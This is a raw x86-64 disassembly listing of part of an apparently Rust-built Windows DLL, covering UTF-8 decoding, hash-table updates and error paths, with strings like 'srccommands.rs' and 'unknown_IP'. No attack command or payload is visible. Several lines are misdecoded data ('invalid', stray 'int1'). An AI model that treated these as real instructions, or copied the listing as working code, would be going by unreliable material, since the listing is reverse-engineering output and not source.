cmp byte [rdi + r15], 0xbf
jg 0x18000d168
jmp 0x18000e177
mov eax, 0x57f
xor ecx, ecx
mov r8d, 0x57f
shr rax, 1
add rax, rcx
lea r9, [0x180075508]
mov r9d, dword [r9 + rax*8]
cmp r9d, edx
je 0x18000d244
lea r10, [rax + 1]
cmp r9d, edx
cmova r8, rax
cmovb rcx, r10
mov rax, r8
sub rax, rcx
ja 0x18000d12c
jmp 0x18000d290
jne 0x18000e177
lea r12, [rdi + r15]
xor eax, eax
cmp r12, rdi
je 0x18000d375
mov cl, byte [r12 - 1]
test cl, cl
js 0x18000d189
dec r12
movzx r14d, cl
jmp 0x18000d1f0
movzx edx, byte [r12 - 2]
cmp dl, 0xc0
jge 0x18000d1bb
movzx r8d, byte [r12 - 3]
cmp r8b, 0xbf
jg 0x18000d1c4
movzx r9d, byte [r12 - 4]
add r12, 0xfffffffffffffffc
and r9d, 7
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
jmp 0x18000d1cc
add r12, 0xfffffffffffffffe
and edx, 0x1f
jmp 0x18000d1d6
add r12, 0xfffffffffffffffd
and r8d, 0xf
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and cl, 0x3f
movzx r14d, cl
or r14d, edx
cmp r14d, 0x110000
je 0x18000d375
test al, al
jne 0x18000d20a
mov ecx, r14d
call fcn.18002c680
test al, al
je 0x18000d20a
mov r14d, 0x110000
xor eax, eax
jmp 0x18000d20c
mov al, 1
cmp r14d, 0x110000
je 0x18000d16e
mov ecx, r14d
call fcn.18002c7c0
test al, al
je 0x18000d375
add r15, 2
je 0x18000d2ad
cmp r15, qword [rbx + 0x88]
jae 0x18000d2a7
cmp byte [rdi + r15], 0xbf
jg 0x18000d2ad
jmp 0x18000e1bc
lea rcx, [0x180075508]
mov edx, dword [rcx + rax*8 + 4]
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
push 0x69
pop rax
cmovb edx, eax
jae 0x18000d290
lea rcx, [rbx + 0x6b0]
call fcn.18001f750
lea rcx, [rbx + 0x6b0]
mov edx, 0x307
call fcn.18001f750
mov rax, rsi
mov r15, r13
jmp 0x18000d040
lea rcx, [rbx + 0x6b0]
call fcn.18001f750
mov rax, rsi
mov r15, r13
jmp 0x18000d040
jne 0x18000e1bc
add r15, rdi
xor eax, eax
cmp r15, qword [rbx + 0x80]
je 0x18000d3ca
mov r8b, byte [r15]
movzx r14d, r8b
test r14b, r14b
js 0x18000d2d0
inc r15
jmp 0x18000d340
mov ecx, r14d
and ecx, 0x1f
movzx r9d, byte [r15 + 1]
and r9d, 0x3f
cmp r14b, 0xdf
jbe 0x18000d325
movzx edx, byte [r15 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x18000d334
movzx r14d, byte [r15 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r14d, 0x3f
or r14d, edx
or r14d, ecx
cmp r14d, 0x110000
je 0x18000d3ca
stosd dword [rdi], eax
add byte [rax], al
invalid
stosd dword [rdi], eax
add byte [rax], al
add byte [rcx - 0x7d], cl
mov dword [rbx + rbp*8], 0xc783491b
add al, cl
loope 0x18000d332
add r15, 4
jmp 0x18000d340
add r15, 2
shl ecx, 6
or ecx, r9d
mov r14d, ecx
jmp 0x18000d340
add r15, 3
shl ecx, 0xc
or edx, ecx
mov r14d, edx
test al, al
jne 0x18000d35a
invalid
invalid
mov ecx, r14d
call fcn.18002c680
test al, al
je 0x18000d35a
mov r14d, 0x110000
xor eax, eax
jmp 0x18000d35c
mov al, 1
cmp r14d, 0x110000
je 0x18000d2b2
mov ecx, r14d
call fcn.18002c7c0
test al, al
je 0x18000d3ca
mov rax, qword [rbx + 0x6b0]
mov rdx, qword [rbx + 0x6c0]
sub rax, rdx
mov r14w, 0x83cf
cmp rax, 2
jae 0x18000d3a8
lea rcx, [rbx + 0x6b0]
push 2
pop r8
pop rax
call fcn.180069640
mov rdx, qword [rbx + 0x6c0]
mov rax, qword [rbx + 0x6b8]
mov word [rax + rdx], r14w
mov eax, 0x66000006
mov dword [rax + rdx], r14d
add rdx, 2
mov qword [rbx + 0x6c0], rdx
mov rax, rsi
mov r15, r13
jmp 0x18000d040
rol byte [rsi], 0
add byte [rax - 0x77], cl
invalid
mov rax, qword [rbx + 0x6b0]
mov rdx, qword [rbx + 0x6c0]
sub rax, rdx
mov r14w, 0x82cf
cmp rax, 1
jbe 0x18000d391
jmp 0x18000d3a8
mov r9, qword [rbx + 0x6c0]
mov qword [rbx + 0xf0], r9
movups xmm0, xmmword [rbx + 0x6b0]
movaps xmmword [rbx + 0xe0], xmm0
mov rsi, qword [rbx + 0xe8]
lea rcx, [0x18006dec5]
push 4
pop rdx
mov r8, rsi
call fcn.180007ee4
test al, al
jne 0x18000e20b
mov rcx, qword [rbx + 0xe0]
mov rdx, rsi
call case.0x180046113.1274
mov r13, qword [rbx + 0x90]
mov rcx, qword [r13 + 0x48]
mov rdx, qword [r13 + 0x50]
call fcn.180007132
mov rax, qword [rbx + 0x190]
mov rcx, qword [rbx + 0xb8]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rbx + 0x180]
movdqu xmmword [rcx], xmm0
mov r15, qword [rbx + 0x178]
lea rsi, [rbx + 0x9a0]
mov rcx, qword [rbx + 0x230]
mov rdx, qword [rbx + 0x238]
call case.0x180046113.1274
mov rcx, rsi
call fcn.1800063f9
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rbx + 0xa8]
jmp 0x18000cb3b
idiv bh
invalid
idiv bh
dec dword [rcx + rcx*4 - 0x3e]
mov rdx, r8
lea rcx, [rbx + 0x480]
mov qword [rcx + 8], rdx
call fcn.1800065dd
mov qword [r15 + 0x178], r13
lea r12, [r15 + 0x181]
mov byte [r15 + 0x181], 0
lea r14, [r15 + 0xc8]
mov byte [r15 + 0x180], 0
mov qword [r15 + 0x158], r13
lea rsi, [rbx + 0x6b0]
add byte [rax - 0x77], cl
int1
add byte [rax - 0x77], cl
int1
call fcn.18001f042
cmp qword [rsi], 0
jne 0x18000e22c
lea rsi, [rbx + 0x6b0]
movdqu xmm0, xmmword [rsi + 8]
movdqu xmm1, xmmword [rsi + 0x18]
movdqu xmm2, xmmword [rsi + 0x28]
movdqu xmm3, xmmword [rsi + 0x38]
movdqu xmmword [r14 + 0x30], xmm3
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
lea rcx, [r15 + 0x160]
lea rdx, str.N_D_j_
push 0x18
pop r8
call fcn.180019144
mov r8, qword [r15 + 0x168]
mov r9, qword [r15 + 0x170]
mov rcx, rsi
mov rdx, r14
call fcn.180005ab7
cmp dword [rsi], 3
je 0x18000e249
push 9
pop rax
lea rdx, [rbx + 0x340]
lea rsi, [rbx + 0x6b0]
mov rcx, rax
mov rdi, rdx
xlatb
xlatb
rep movsq qword [rdi], qword [rsi]
lea rdi, [r15 + 0x188]
mov rcx, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
lea r13, [r15 + 0x188]
lea rsi, [rbx + 0xe0]
mov rcx, rsi
mov rdx, r13
mov r8, qword [rbx + 0x98]
call fcn.18001e429
cmp dword [rsi], 4
jne 0x18000d5c2
mov al, 3
mov rcx, qword [rbx + 0xd0]
jmp 0x18000e0d6
mov qword [rbx + 0xa0], r12
mov qword [rbx + 0xb8], r14
mov byte [r15 + 0x180], 1
lea r14, [r15 + 0x108]
push 0xa
pop rcx
lea rsi, [rbx + 0xe0]
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, r13
call fcn.180006f8b
cmp dword [r15 + 0x108], 3
mov r12, r15
je 0x18000e358
xor r15d, r15d
mov byte [r12 + 0x180], r15b
push 0xa
pop rcx
lea rdx, [rbx + 0x6b0]
mov rdi, rdx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov r8d, 0x128
mov rcx, r13
call fcn.180068d66
lea rax, [r12 + 0x2b0]
mov qword [rbx + 0xa8], rax
mov byte [r12 + 0x2b0], r15b
mov r15, r12
mov r12, qword [rbx + 0xa0]
mov rsi, r13
push 0xa
pop rcx
lea rdx, [rbx + 0x9a0]
mov rdi, rdx
mov qword [rbx + 0x1e8], rsi
rep movsq qword [rdi], qword [rsi]
lea rsi, [r15 + 0x1d8]
mov r8d, 0xd0
mov rcx, rsi
call fcn.180068d66
lea r13, [r15 + 0x2a8]
mov byte [r15 + 0x2a8], 0
lea r14, [r15 + 0x228]
push 0xa
pop rcx
mov rdi, r14
mov qword [rbx + 0xc0], rsi
rep movsq qword [rdi], qword [rsi]
lea rsi, [rbx + 0x480]
mov edx, 0x100
mov rcx, rsi
xor r8d, r8d
call fcn.180036b3d
cmp qword [rsi], 0
mov rcx, qword [rsi + 8]
jne 0x180014ea5
mov qword [rbx + 0xa0], r12
lea rdi, [r15 + 0x278]
mov rax, qword [rbx + 0x490]
mov qword [r15 + 0x278], rcx
mov qword [r15 + 0x280], rax
and qword [r15 + 0x288], 0
mov qword [r15 + 0x290], r14
mov qword [r15 + 0x298], rdi
and qword [r15 + 0x2a0], 0
mov rax, qword [rdi + 0x10]
push 0x20
pop rsi
lea r12, [0x18006c940]
mov r15, rax
mov rdx, qword [rdi + 0x10]
cmp rax, rdx
jne 0x18000d744
mov rcx, rdi
mov rdx, rsi
call fcn.18003697a
mov rdx, qword [rdi]
mov rcx, rdi
call fcn.18002e1a4
mov rdx, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov r8, r15
mov r9, r12
call fcn.18000a316
mov r9, rdx
mov rcx, qword [rbx + 0x178]
mov rcx, qword [rcx + 0x290]
mov rdx, qword [rbx + 0x98]
mov rdx, qword [rdx]
mov r8, rax
call fcn.18000958c
mov r14, rdx
test rax, rax
jne 0x18000d7db
lea rax, [r15 + r14]
test r14, r14
jne 0x18000d71e
mov rcx, rdi
mov rdx, r15
call fcn.18002e1f5
mov r14, qword [rbx + 0x178]
mov rdx, qword [r14 + 0x278]
mov rsi, qword [r14 + 0x288]
cmp rdx, rsi
jbe 0x18000d83d
mov rcx, qword [r14 + 0x280]
test rsi, rsi
je 0x18000d824
push 1
pop r8
mov r9, rsi
call fcn.18001b900
mov rdi, rax
test rax, rax
jne 0x18000d82f
push 1
pop rcx
mov rdx, rsi
call fcn.180069600
mov rcx, rdi
mov rdx, r15
cmp rax, 2
jne 0x18000d7f6
call fcn.18002e1f5
mov byte [r13], 3
jmp 0x18000dd09
call fcn.18002e1f5
mov rsi, qword [rbx + 0x178]
mov rcx, qword [rsi + 0x278]
mov rdx, qword [rsi + 0x280]
call case.0x180046113.1274
movabs rdi, 0x8000000000000000
jmp 0x18000dce7
push 1
pop rdi
mov rdx, rdi
call fcn.18001b8e0
mov qword [r14 + 0x280], rdi
mov qword [r14 + 0x278], rsi
mov r8, qword [r14 + 0x240]
mov rsi, qword [r14 + 0x248]
lea rdi, [rbx + 0x240]
push 0xa
pop rdx
mov rcx, rdi
mov r9, rsi
call fcn.180007dd9
and qword [rdi - 0x10], 0
mov qword [rdi - 8], rsi
and word [rdi + 0x30], 0
lea rcx, [rbx + 0x230]
call fcn.18000a102
test rax, rax
je 0x18000d8be
mov r8, rdx
lea rsi, [rbx + 0x480]
push 0x20
pop r9
mov rcx, rsi
mov rdx, rax
call fcn.180007734
mov rcx, rsi
call fcn.18000a422
test rax, rax
je 0x18000d8be
lea rcx, [rbx + 0x480]
call fcn.18000a422
test rax, rax
je 0x18000d8be
mov rcx, rax
call fcn.18002aa00
lea r14, [rbx + 0x480]
mov rcx, r14
call fcn.1800054e4
mov rcx, r14
call fcn.180007d2f
mov rsi, rax
mov rdi, rdx
lea r15, [rbx + 0x480]
push 0x30
pop rdx
push 8
pop r8
mov rcx, r15
call fcn.18000a8bb
movdqu xmm0, xmmword [r15]
movdqu xmm1, xmmword [r15 + 0x10]
lea rax, [rbx + 0x210]
movdqa xmmword [rax - 0x20], xmm0
movdqa xmmword [rax - 0x10], xmm1
mov qword [rax], rsi
mov qword [rax + 8], rdi
push 9
pop rcx
lea rdi, [rbx + 0x180]
lea rsi, [rbx + 0x230]
rep movsq qword [rdi], qword [rsi]
pcmpeqd xmm6, xmm6
mov qword [rbx + 0x98], rdi
lea rcx, [rbx + 0x180]
call fcn.18000a102
test rax, rax
je 0x18000dca1
mov rsi, rax
mov r15, rdx
mov qword [rsp + 0x20], 2
mov rcx, r14
mov rdx, rax
mov r8, r15
lea r9, [0x18007ce23]
call fcn.180028a20
lea rcx, [rbx + 0x2e0]
mov rdx, r14
call fcn.180009aa6
cmp qword [rbx + 0x2e0], 0
je 0x18000d933
mov rdx, qword [rbx + 0x2e8]
mov rax, qword [rbx + 0x2f0]
sub r15, rax
mov r12, rsi
add r12, rax
mov rcx, rsi
call fcn.1800075c3
mov rsi, rax
mov rdi, rdx
mov rcx, r12
mov rdx, r15
call fcn.1800075c3
mov qword [rbx + 0x90], rax
mov qword [rbx + 0x88], rdx
cmp qword [rbx + 0x208], 0
je 0x18000dade
mov rcx, qword [rbx + 0x210]
mov rdx, qword [rbx + 0x218]
mov r8, rsi
mov r9, rdi
call fcn.18001da18
mov r12, qword [rbx + 0x1f0]
mov r15, qword [rbx + 0x1f8]
mov r13, r15
and r13, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rbx + 0x80], rax
movdqu xmm8, xmmword [r12 + r13]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rbx + 0x480], ax
lea r14, [rbx + 0x480]
mov rcx, r14
call fcn.18000a547
test rax, rax
je 0x18000da73
add rdx, r13
and rdx, r15
neg rdx
imul r14, rdx, 0x30
mov r8, qword [r12 + r14 - 0x28]
mov r9, qword [r12 + r14 - 0x20]
mov rcx, rsi
mov rdx, rdi
call fcn.18001dd28
test al, al
je 0x18000da37
jmp 0x18000daa2
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x18000dade
mov rax, qword [rbx + 0x80]
add r13, rax
add r13, 0x10
add rax, 0x10
mov qword [rbx + 0x80], rax
and r13, r15
jmp 0x18000da1d
add r12, r14
add r12, 0xffffffffffffffe8
mov rcx, r12
lea rdx, [0x18007b4eb]
push 2
pop r8
call fcn.18002e163
mov rcx, r12
mov rdx, qword [rbx + 0x90]
mov r8, qword [rbx + 0x88]
call fcn.18002e163
lea r14, [rbx + 0x480]
jmp 0x18000d933
lea r15, [rbx + 0x440]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call fcn.180005a8c
lea rcx, [rbx + 0x2e0]
mov rdx, qword [rbx + 0x90]
mov r8, qword [rbx + 0x88]
call fcn.180005a8c
mov rcx, qword [rbx + 0x210]
mov rdx, qword [rbx + 0x218]
mov r8, qword [rbx + 0x448]
mov r9, qword [rbx + 0x450]
call fcn.18001da18
mov rsi, rax
mov qword [rbx + 0x400], r15
cmp qword [rbx + 0x200], 0
je 0x18000dc89
lea rax, [rbx + 0x400]
mov qword [rbx + 0x480], rax
lea rax, [rbx + 0x1f0]
mov qword [rbx + 0x488], rax
mov rcx, qword [rbx + 0x1f0]
mov rdx, qword [rbx + 0x1f8]
lea rax, [0x18000ab09]
mov qword [rsp + 0x20], rax
mov r8, rsi
mov r9, r14
call fcn.18000a986
mov rcx, qword [rbx + 0x1f0]
test rax, rax
mov rdi, qword [rbx + 0x98]
je 0x18000dc3b
mov rax, qword [rbx + 0x450]
mov qword [rbx + 0x490], rax
movups xmm0, xmmword [rbx + 0x440]
movaps xmmword [rbx + 0x480], xmm0
mov rax, qword [rbx + 0x2f0]
mov qword [r14 + 0x28], rax
movups xmm0, xmmword [rbx + 0x2e0]
movups xmmword [r14 + 0x18], xmm0
movzx eax, byte [rcx + rdx]
and eax, 1
sub qword [rbx + 0x200], rax
shr rsi, 0x39
lea rax, [rdx - 0x10]
and rax, qword [rbx + 0x1f8]
mov byte [rcx + rdx], sil
mov byte [rcx + rax + 0x10], sil
inc qword [rbx + 0x208]
neg rdx
imul rax, rdx, 0x30
movdqa xmm0, xmmword [rbx + 0x480]
movdqa xmm1, xmmword [rbx + 0x490]
movdqa xmm2, xmmword [rbx + 0x4a0]
movdqu xmmword [rcx + rax - 0x10], xmm2
movdqu xmmword [rcx + rax - 0x20], xmm1
movdqu xmmword [rcx + rax - 0x30], xmm0
movabs rsi, 0x8000000000000000
jmp 0x18000dc79
neg rdx
imul rax, rdx, 0x30
mov rsi, qword [rcx + rax - 0x18]
mov rdi, qword [rcx + rax - 0x10]
mov rdx, qword [rbx + 0x2f0]
mov qword [rcx + rax - 8], rdx
movdqu xmm0, xmmword [rbx + 0x2e0]
movdqu xmmword [rcx + rax - 0x18], xmm0
mov rcx, qword [rbx + 0x440]
mov rdx, qword [rbx + 0x448]
call case.0x180046113.1274
mov rcx, rsi
mov rdx, rdi
call fcn.180007132
jmp 0x18000d92c
lea rcx, [rbx + 0x1f0]
lea rdx, [rbx + 0x210]
call fcn.180068e9b
jmp 0x18000db46
mov rsi, qword [rbx + 0x178]
mov rdi, qword [rsi + 0x278]
mov r14, qword [rsi + 0x280]
mov r13, qword [rsi + 0x288]
mov rax, qword [rbx + 0x1f0]
mov qword [rbx + 0x90], rax
mov rax, qword [rbx + 0x1f8]
mov qword [rbx + 0x80], rax
mov rax, qword [rbx + 0x208]
mov qword [rbx + 0x98], rax
lea rcx, [rsi + 0x228]
call fcn.180006ff5
mov byte [rsi + 0x2a8], 1
movabs rax, 0x8000000000000001
cmp rdi, rax
jne 0x18000dd18
mov rax, qword [rbx + 0xa8]
mov byte [rax], 3
jmp 0x18000e0bf
mov rcx, qword [rbx + 0xc0]
call fcn.18000659b
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x18000e470
mov qword [rbx + 0x88], rdi
lea rdx, [rbx + 0x1f0]
mov qword [rdx], r14
mov qword [rdx + 8], r13
lea rsi, [rbx + 0x480]
mov rcx, rsi
call fcn.180028f50
mov r15, qword [rsi]
test r15, r15
je 0x18000dde2
mov r12, qword [rbx + 0x488]
cmp qword [rbx + 0x498], 0
je 0x18000df53
test r13, r13
push 1
pop rax
je 0x18000dd9f
js 0x18000e21c
mov al, byte [0x18008b300]
xor ecx, ecx
mov rdx, r13
call fcn.180059d10
test rax, rax
je 0x18000e68e
mov qword [rbx + 0x180], r13
mov qword [rbx + 0x188], rax
and qword [rbx + 0x190], 0
cmp r12, r13
jbe 0x18000ddf1
lea rcx, [rbx + 0x180]
xor edx, edx
mov r8, r12
call fcn.180069640
mov rsi, qword [rbx + 0x190]
mov r13, qword [rbx + 0x180]
mov rax, qword [rbx + 0x188]
jmp 0x18000ddf3
lea r15, [0x180081690]
xor r12d, r12d
jmp 0x18000df53
xor esi, esi
mov rdi, rax
lea rcx, [rax + rsi]
mov rdx, r15
mov r8, r12
call fcn.180068d66
add rsi, r12
mov qword [rbx + 0x190], rsi
sub r13, rsi
cmp r13, 2
ja 0x18000de39
lea rcx, [rbx + 0x180]
push 3
pop r8
mov rdx, rsi
call fcn.180069640
mov rdi, qword [rbx + 0x188]
mov rsi, qword [rbx + 0x190]
mov byte [rdi + rsi + 2], 0xbd
mov word [rdi + rsi], 0xbfef
add rsi, 3
lea rax, [rbx + 0x180]
mov qword [rax + 0x10], rsi
movdqu xmm0, xmmword [rbx + 0x1f0]
lea rax, [rbx + 0x230]
movdqu xmmword [rax], xmm0
mov r12, rsi
lea rcx, [rbx + 0x480]
lea rdx, [rbx + 0x230]
call fcn.180028f50
mov rsi, qword [rbx + 0x480]
test rsi, rsi
je 0x18000df36
mov r15, qword [rbx + 0x488]
mov rdi, qword [rbx + 0x498]
mov rax, qword [rbx + 0x180]
sub rax, r12
cmp rax, r15
jae 0x18000dec2
lea rcx, [rbx + 0x180]
mov rdx, r12
mov r8, r15
call fcn.180069640
mov r12, qword [rbx + 0x190]
mov r13, qword [rbx + 0x188]
lea rcx, [r12 + r13]
mov rdx, rsi
mov r8, r15
call fcn.180068d66
add r12, r15
mov qword [rbx + 0x190], r12
test rdi, rdi
je 0x18000de69
mov rax, qword [rbx + 0x180]
sub rax, r12
cmp rax, 2
ja 0x18000df18
lea rcx, [rbx + 0x180]
mov rdx, r12
push 3
pop r8
call fcn.180069640
mov r13, qword [rbx + 0x188]
mov r12, qword [rbx + 0x190]
mov byte [r13 + r12 + 2], 0xbd
mov word [r13 + r12], 0xbfef
add r12, 3
mov qword [rbx + 0x190], r12
jmp 0x18000de69
mov r13, qword [rbx + 0x180]
mov r15, qword [rbx + 0x188]
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x18000df73
lea rsi, [rbx + 0x930]
mov rcx, rsi
mov rdx, r15
mov r8, r12
call fcn.180005a8c
mov r13, qword [rsi]
mov r15, qword [rsi + 8]
mov r12, qword [rsi + 0x10]
mov rcx, qword [rbx + 0x88]
mov rdx, r14
call case.0x180046113.1274
mov r8, qword [rbx + 0x80]
test r8, r8
je 0x18000e0a2
mov r9, qword [rbx + 0x98]
test r9, r9
mov rdx, qword [rbx + 0x90]
je 0x18000e07f
mov qword [rbx + 0x88], r13
lea rax, [rdx + r8]
inc rax
movdqa xmm0, xmmword [rdx]
pmovmskb ecx, xmm0
not ecx
mov r8, rdx
add rdx, 0x10
lea rsi, [rbx + 0x498]
mov qword [rsi - 0x18], r8
mov qword [rsi - 0x10], rdx
mov qword [rsi - 8], rax
mov word [rsi], cx
mov qword [rsi + 8], r9
push 1
pop rdi
test rdi, rdi
jne 0x18000e01a
jmp 0x18000e06a
mov rax, qword [rbx + 0x488]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rbx + 0x498], cx
add qword [rbx + 0x480], 0xfffffffffffffd00
add rax, 0x10
mov qword [rbx + 0x488], rax
mov rcx, rsi
call fcn.18000a547
cmp rax, 1
jne 0x18000dfec
neg rdx
imul r14, rdx, 0x30
mov r13, qword [rbx + 0x480]
mov rdi, qword [rbx + 0x4a0]
dec rdi
mov qword [rbx + 0x4a0], rdi
mov rcx, qword [r13 + r14 - 0x30]
mov rdx, qword [r13 + r14 - 0x28]
call fcn.18001bead
mov rcx, qword [r13 + r14 - 0x18]
mov rdx, qword [r13 + r14 - 0x10]
call fcn.18001bead
jmp 0x18000dfe5
mov r8, qword [rbx + 0x80]
mov rdx, qword [rbx + 0x90]
mov r13, qword [rbx + 0x88]
lea rsi, [rbx + 0x480]
push 0x30
pop r9
mov rcx, rsi
call fcn.18001e0b8
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call fcn.1800097d8
mov rax, qword [rbx + 0xa8]
mov byte [rax], 1
movabs rax, 0x8000000000000001
cmp r13, rax
jne 0x18000e487
mov al, 4
mov r15, qword [rbx + 0x178]
mov rcx, qword [rbx + 0xd0]
mov r12, qword [rbx + 0xa0]
mov byte [r12], al
mov byte [rcx], 3
mov al, 4
mov byte [r15], al
movaps xmm6, xmmword [rbp + 0xc90]
movaps xmm7, xmmword [rbp + 0xca0]
movaps xmm8, xmmword [rbp + 0xcb0]
movaps xmm9, xmmword [rbp + 0xcc0]
movaps xmm10, xmmword [rbp + 0xcd0]
movaps xmm11, xmmword [rbp + 0xce0]
movaps xmm12, xmmword [rbp + 0xcf0]
movaps xmm13, xmmword [rbp + 0xd00]
movaps xmm14, xmmword [rbp + 0xd10]
movaps xmm15, xmmword [rbp + 0xd20]
lea rsp, [rbp + 0xd38]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r12, str.failed_to_write_whole_buffer
lea r8, [rbx + 0x6b0]
mov qword [r8], r12
lea rax, str.srccommands.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, fcn.18001ba3c
push 0x2b
pop rdx
call fcn.180069b20
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, qword [rbx + 0x88]
xor r8d, r8d
mov r9, r15
call fcn.180069d00
jmp case.0x18000b84e.2
lea rcx, [0x18006de38]
call fcn.180069bb0
lea r8, [rbx + 0x6b0]
mov qword [r8], rsi
lea rax, str.srccommands.rs
jmp 0x18000e15c
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, qword [rbx + 0x88]
mov r8, r15
mov r9, rdx
call fcn.180069d00
jmp case.0x18000b84e.2
lea rax, [0x18006ce30]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x18006cf20]
push 0x37
pop rdx
lea r8, [rbx + 0x400]
call fcn.180069b20
lea rcx, [rbx + 0xe0]
call fcn.180006f50
call fcn.180059b50
call fcn.18001f140
push 1
pop rcx
mov rdx, r14
call fcn.180069600
movdqu xmm0, xmmword [rbx + 0x6b8]
lea r8, [rbx + 0x9a0]
movdqu xmmword [r8], xmm0
lea rax, [0x18006df70]
jmp 0x18000e264
movdqu xmm0, xmmword [rbx + 0x6b8]
lea r8, [rbx + 0x9a0]
movdqu xmmword [r8], xmm0
lea rax, [0x18006dfa0]
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18006cfa0]
jmp 0x18000e16f
lea rcx, [0x18006dd98]
call fcn.180069bb0
movdqu xmm0, xmmword [rbx + 0x9a0]
movdqu xmm1, xmmword [rbx + 0x9b0]
lea r8, [rbx + 0x6b0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x18006ddb0]
jmp 0x18000e458
lea rcx, [0x18006de08]
call fcn.180069bb0
movdqu xmm0, xmmword [rbx + 0x9a0]
movdqu xmm1, xmmword [rbx + 0x9b0]
lea r8, [rbx + 0x6b0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x18006de20]
jmp 0x18000e458
movdqu xmm0, xmmword [rbx + 0x9a0]
movdqu xmm1, xmmword [rbx + 0x9b0]
lea r8, [rbx + 0x6b0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x18006df30]
jmp 0x18000e458
lea rcx, [0x18006de88]
call fcn.180069bb0
movdqu xmm0, xmmword [rbx + 0x9a0]
movdqu xmm1, xmmword [rbx + 0x9b0]
lea r8, [rbx + 0x6b0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x18006dea0]
jmp 0x18000e458
lea rdx, str.unknown_IP
lea rsi, [rbx + 0x6b0]
push 0xa
pop r8
mov rcx, rsi
call fcn.180005a8c
mov rax, qword [r12 + 0x158]
mov rcx, qword [rax + 0x90]
mov rdx, qword [rax + 0x98]
call fcn.180007132
mov rax, qword [r12 + 0x158]
jmp 0x18000e507
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
lea r8, [rbx + 0x6b0]
mov qword [r8], rax
lea rax, str.library_std_src_syspalwindows_time.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, fcn.180043db0
push 0x2b
pop rdx
call fcn.180069b20
jmp case.0x18000b84e.2
movdqu xmm0, xmmword [rbx + 0x9a0]
movdqu xmm1, xmmword [rbx + 0x9b0]
lea r8, [rbx + 0x6b0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x18006dd28]
jmp 0x18000e458
movdqu xmm0, xmmword [rbx + 0x9a0]
movdqu xmm1, xmmword [rbx + 0x9b0]
lea r8, [rbx + 0x6b0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x18006dd40]
jmp 0x18000e458
movdqu xmm0, xmmword [rbx + 0x9a0]
movdqu xmm1, xmmword [rbx + 0x9b0]
lea r8, [rbx + 0x6b0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x18006df48]
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, fcn.180006b2f
jmp 0x18000e16f
mov rax, qword [rbx + 0xa8]
mov byte [rax], 1
mov r15, r14
movabs r13, 0x8000000000000000
mov rcx, qword [rbx + 0x1e8]
call fcn.180006614
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x18000e4b8
lea r8, [rbx + 0x9a0]
mov qword [r8], r15
lea rax, [0x18006dfe0]
jmp 0x18000e15c
mov rdi, r13
lea rsi, [rbx + 0x9a0]
push 0xa
pop r9
mov rcx, rsi
mov rdx, r15
mov r8, r12
call fcn.180008c77
mov rcx, r13
mov rdx, r15
call case.0x180046113.1274
mov rdi, qword [rbx + 0x178]
mov rax, qword [rdi + 0x158]
mov rcx, qword [rax + 0x90]
mov rdx, qword [rax + 0x98]
call fcn.180007132
mov rax, qword [rdi + 0x158]
mov rcx, qword [rsi + 0x10]
mov qword [rax + 0xa0], rcx
movdqu xmm0, xmmword [rsi]
movdqu xmmword [rax + 0x90], xmm0
mov rcx, qword [rbx + 0xb8]
call fcn.180006a0c
mov rax, qword [rbx + 0x178]
lea rcx, [rax + 0x108]
cmp dword [rax + 0x108], 3
jne 0x18000e548
call fcn.180006511
jmp 0x18000e55d
mov rax, qword [rbx + 0x178]
cmp byte [rax + 0x180], 0
je 0x18000e55d
call fcn.180006ff5
mov rsi, qword [rbx + 0x178]
mov rcx, qword [rsi + 0x160]
mov rdx, qword [rsi + 0x168]
call case.0x180046113.1274
mov word [rsi + 0x180], 0x100
mov rcx, qword [rbx + 0xb8]
call fcn.180007551
mov byte [rsi + 0x2b8], 1
mov rcx, qword [rbx + 0x228]
call fcn.1800063dc
